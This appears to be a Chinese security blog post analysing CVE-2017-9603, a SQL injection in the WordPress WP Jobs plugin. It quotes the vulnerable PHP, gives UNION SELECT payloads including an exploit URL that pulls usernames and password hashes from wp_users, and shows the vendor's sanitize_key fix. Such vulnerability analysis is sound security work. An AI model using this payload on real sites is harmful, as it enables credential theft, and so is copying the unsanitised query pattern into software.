CVE-2017-9603分析

本文最后更新于 2019.12.01,总计 4555 字 ,阅读本文大概需要 1 ~ 5 分钟
本文已超过 1605天 没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!

目录

一、CVE-2017-9603

WordPress Plugin WP Jobs < 1.5 - SQL Injection

二、漏洞分析

问题出现在wp-jobswpjobs_applications,php,第10行到第62行:

<?php
$job_id = $_REQUEST['jobid']; //获取jobid
$jb_args = array(
    'posts_per_page' => -1,
    'orderby' => 'post_date',
    'order' => 'DESC',
    'post_type' => 'job',
    'post_status' => 'publish',
    'suppress_filters' => true);

$jobs = get_posts($jb_args);
?>
<form autocomplete="off" name="form" id="form">
    <?php _e('Filter by Job', 'wp-jobs'); ?> <select name="jumpMenu" id="jumpMenu" onchange="MM_jumpMenu('parent', this, 0)">
        <option value="edit.php?post_type=job&page=WPJobsJobApps">All Applications</option>
        <?php foreach ($jobs as $job_info) : setup_postdata($jobs); ?>
            <option <?php
            if ($job_info->ID == $job_id) {
                echo 'selected="selected"';
            }
            ?> value="edit.php?post_type=job&page=WPJobsJobApps&jobid=<?php echo $job_info->ID; ?>"><?php echo $job_info->post_title; ?></option>
         <?php
            endforeach;
            wp_reset_postdata();
            ?>
    </select>
</form>
<style>
    .dctrprt tr th, .dctrprt tr td {
        font-family:Arial, Helvetica, sans-serif;
        font-size:13px;
    }
</style>
<table class="widefat dctrprt">
    <tr>
        <th><strong><?php _e('S.No', 'wp-jobs'); ?></strong></th>
        <th><strong><?php _e('Job Title', 'wp-jobs'); ?></strong></th>
        <th><strong><?php _e('Full Name', 'wp-jobs'); ?></strong></th>
        <th><strong><?php _e('Email', 'wp-jobs'); ?></strong></th>
        <th><strong><?php _e('Phone Number', 'wp-jobs'); ?></strong></th>
        <th><strong><?php _e('Download Resume', 'wp-jobs'); ?></strong></th>
    </tr>
    <?php
    $tbl = $wpdb->prefix;
    $qry = "Select * from " . $tbl . "app_user_info ";
    if ($job_id <> "") {
        $qry .= " where app_job_id = " . $job_id; //直接带入SQL语句查询
    }
    $qry .= " Order by `app_id` Desc ";
    $users = $wpdb->get_results($qry);
    $i = 1;
    foreach ($users as $user) {
?>


漏洞的原因很简单,系统在request jobid后,没有进行任何转义或者过滤处理,直接简单的判断了下job_id的值是否为空,然后就拼接到了SQL语句中,从而导致了SQL注入漏洞。
测试如下:

http://localhost:80/cve/wp-admin/edit.php?post_type=job&page=WPJobsJobApps&jobid=11
UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- admin

1.png

当字段数为6的时候,返回特殊页面。

2.png

说明字段数为6。
可以使用mysql监控工具可以看到执行的SQL语句:

3.png

可以看到,我们所构造的语句被拼接到SQL语句中执行。
尝试查看数据库版本:

4.png

成功查询。
最终可构造的EXP的如下:

http://localhost:80/cve/wp-admin/edit.php?post_type=job&page=WPJobsJobApps&jobid=11
UNION ALL SELECT NULL,CONCAT(0x3930736563,IFNULL(CAST(user_nicename AS
CHAR),0x20),0x7430306c73,IFNULL(CAST(user_pass AS
CHAR),0x20),0x70616e6461),NULL,NULL,NULL,NULL FROM
wordpress.wp_users-- admin

5.png

三、 修复方案
看下官方的修复方案:

6.png

在1.4的版本中:

<?php
$job_id = $_REQUEST['jobid'];
$jb_args = array(
    'posts_per_page' => -1,
    'orderby' => 'post_date',
    'order' => 'DESC',
    'post_type' => 'job',
    'post_status' => 'publish',
    'suppress_filters' => true);

$jobs = get_posts($jb_args);
?>

1.5版本中:

<?php
$job_id = isset($_REQUEST['jobid']) ? sanitize_key($_REQUEST['jobid']) : null;
$jb_args = array(
    'posts_per_page' => -1,
    'orderby' => 'post_date',
    'order' => 'DESC',
    'post_type' => 'job',
    'post_status' => 'publish',
    'suppress_filters' => true);

$jobs = get_posts($jb_args);
?>

可以看到官方对于jobid加了一个wordpress自带函数sanitize_key来过滤特殊字符,使jobid的参数只允许包含数字和字母,破折号和下划线,从而修复了SQL注入漏洞。

四、总结

由于刚开学事情比较多,而且在忙学校的一个作品竞赛,所以没太多时间研究其他比较有意思的CVE漏洞,只是随便在exploit-db找了一个有CVE编号的进行分析。结果分析下来发现,这个CVE其实没什么亮点内容,也就是一个常见的注入漏洞,而且这个漏洞比较鸡肋,因为只有管理员权限才可查看WPJobsJobApps界面,才能进一步进行注入。不得不感叹一声,只要肯研究CVE真不是难事

「感谢老板送来的软糖/蛋糕/布丁/牛奶/冰阔乐!」

panda

(๑>ڡ<)☆谢谢老板~

使用微信扫描二维码打赏

版权属于:

panda | 热爱安全的理想少年

本文链接:

https://www.cnpanda.net/sec/21.html(转载时请注明本文出处及文章链接)

暂时无法评论哦~

暂无评论